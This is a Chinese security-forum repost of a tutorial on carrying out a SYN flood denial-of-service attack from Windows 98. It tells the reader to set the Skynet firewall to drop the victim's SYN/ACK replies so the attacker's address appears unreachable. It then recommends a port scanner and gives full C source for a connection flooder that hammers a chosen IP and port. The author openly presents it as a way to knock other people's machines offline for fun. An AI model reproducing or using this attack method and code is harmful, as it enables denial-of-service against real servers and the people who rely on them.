|
![]() | 作者: magic [buaaytt]
![]() |
登录 |
【转载】 说实话,这篇文章的实际利用意义并不高,毕竟现在玩这个的大部分都在用Windows 2000和linux 了。所以只是写来玩玩,也许将来某些方面还需要这种类似的技术,谁知道呢? 首先我来简单的介绍一下syn flood的原理,因为其它很多文章对这种攻击方法有具体的介绍,所 以我在这里只草草的概括一下。学过tcp/ip协议的朋友都应该知道,当tcp建立一个连接的时候初 始请求的主机向被请求主机发送一个Syn信号,然后被请求主机接收到该信号之后便向初始主机返 回一个SYN/ACK,最后初始主机发送一个ACK,这就是被我们称为3次握手的过程。 这样一个看上去完美无缺的连接过程其实存在一个很大的问题,那就是如果请求主机在第一步的 时候通过修改数据包包头来制造一个不可到达的假ip地址的话,被请求主机则会将SYN/ACK送到这 个假地址上去。当然这样的结果就是被请求服务器收不到本应该返回的ACK,于是被请求服务器就 把这个连接挂为等待状态,这个等待阶段大概为30秒左右。光是这样的话还达不到我们的目的,毕竟 一个TCP连接队列对服务器来说并没什么大的障碍。但如果我们发送一堆这样的请求呢?服务器的tcp 连接是有限的,当达到一定程度的时候,列队就被堵塞,然后服务器系统资源急速减少、宽带堵塞、 无法提供正常服务、最后可能还会当机。这样就构成了一次被我们称为拒绝服务的攻击了。 从原理部分我们可以看出,syn flood需要制造一个不可到达的假IP地址来进行攻击。如果不是一 个假ip的话,那个ip地址上的主机则会发回一个RST或ACK,那么我们的攻击计划则成功不了了。 那么就是说传统的syn flood攻击需要制造一个假IP地址,这点在Windows 2000和Unix/Liunx这种 可以良好支持raw socket的操作平台上可以很容易的通过修改数据包包头办到,但Windows 98这 种不支持socket的平台上就做不到syn flood了吗?我们改变不了自己的数据包的包头,那么我们 可不可以想办法让自己的IP地址伪装成“不可到达”呢? 呵呵,现在就进入最精彩的部分,如果你看了标题就应该知道我要做什么了。对!我们要通过天 网这个大名鼎鼎的防火墙来实现我们的愿望。天网可以拒绝接受某个指定地址发来的数据包,如 果我们把这个地址设置为被攻击者的话我们的IP地址对于被攻击者来说就是不可到达的,所 以......呵呵呵呵,明白了? 好了下来我们说一下具体的攻击方法,先去下载天网防火墙,你可以在http://www.sky.net.cn/ 找到最新的版本,我在本文中所使用的是2.4.2版本。安装完成以后,我们点击“自定义规则”的按 钮(那个小尺子的图标),然后双击第一行的“IP规则”。在弹出的对话框里将“数据包方向”改为 “接收”,把“对方IP地址”改为“指定地址”,然后在后面出现的IP选框里输入你要攻击的人的地址。 然后选择“TCP”,把“本地端口”改为从从0到0,“对方端口”改为从0到0。“TCP标志位”选SYN和ACK。 最后在“当满足上面条件时”里选择“拦截”。 之后我们要做的是扫描端口,因为如果对方没有开放我们所攻击的端口的话,是不会做出任何反 映的。Windows 98下扫描端口的工具很多,在这里推荐速度比较快的SuperScan。 好了,工作到这里就做快完了,下来则是攻击程序。 /*************************************************************/ /* Syn Flooder for Windows 98 */ /* by 界 */ /* Use with firewall */ /* 本程序由网络论坛斑竹界修改,其实只是一个用来不停建立TCP连接的 */ /* 东西 ,但在这点上恰恰符合了我们的要求。 */ /* 本程序在VC 6.0上编译通过 */ /*************************************************************/ #include "stdlib.h" #include "stdio.h" #include "string.h" #include "winsock2.h" int ConnectSrv(char * ip, int port); int main( ) { intrc; WSADATA WsaData; char szIPAddr[256]; int nPort; int nTimes; printf("Input the IP and port you want to connect, Like:\n" " 111.111.111.111 222\n"); scanf("%s %d", szIPAddr, &nPort); printf("How many times you want to connect to the server:"); scanf("%d", &nTimes); WSAStartup (0x0101, &WsaData); for( int i = 0; i < nTimes; i++) rc = ConnectSrv(szIPAddr, nPort); WSACleanup(); scanf("%d", &rc); return 1; } int ConnectSrv(char * ip, int port) { SOCKET sc; SOCKADDR_IN server_addr; int len; if ((sc = socket(AF_INET, SOCK_STREAM, 0)) < 0) { return -1; } long lret = 1L; /* 非阻塞模式 */ ioctlsocket(sc, FIONBIO, (u_long FAR *) &lret); memset((char*) &server_addr, 0, sizeof(server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); server_addr.sin_addr.s_addr = inet_addr(ip); len = sizeof(SOCKADDR_IN); if (int rc = connect(sc, (PSOCKADDR) &server_addr, len) == SOCKET_ERROR) { if ((rc != 0) && (WSAGetLastError() == WSAEWOULDBLOCK)) printf("Connecting!"); else printf("Connect Failed!"); return -1; } printf("Connect OK!"); closesocket(sc); return 0; } 这样子我们就可以在Windows 98上对别人D.o.S了,天网这样一个安全工具却可以被开发来攻击别 人,是不是很有趣呢?呵呵,have fun~! |
地主 发表时间: 09/18 10:30 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号